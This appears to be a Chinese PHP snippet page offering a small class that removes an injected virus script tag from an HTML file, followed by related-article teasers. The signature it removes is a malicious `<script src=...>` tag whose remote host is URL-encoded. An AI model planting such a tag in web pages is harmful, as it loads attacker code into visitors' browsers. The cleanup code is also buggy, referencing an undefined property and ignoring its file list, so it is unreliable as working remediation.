php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php 中self,this的区别和操作方法实例分析

本文实例讲述了php 中self,this的区别和操作方法。分享给大家供大家参考,具体如下: 面向对象编程(OOP,Object OrientedProgramming)现已经成为编程人...

hadoop中一些常用的命令介绍

假设Hadoop的安装目录HADOOP_HOME为/home/admin/hadoop。启动与关闭启动Hadoop1.进入HADOOP_HOME目录。2.执行sh bin/start-a...

php通过ajax实现双击table修改内容

复制代码 代码如下: <script type="text/javascript"> $(function() { $("td").dblclick(function() {...

PHP自带方法验证邮箱、URL、IP是否合法的函数

以前用PHP验证邮箱、URL、IP是否合法都是通过自己写正则来实现,但是有时候脑子发昏,可能会写出一个不是完全正确的正则,导致验证出错,今天发现原来PHP本身自带了验证邮箱、URL、IP...

php实现微信模拟登陆、获取用户列表及群发消息功能示例

本文实例讲述了php实现微信模拟登陆、获取用户列表及群发消息功能。分享给大家供大家参考,具体如下: <?php header('Content-Type: text/h...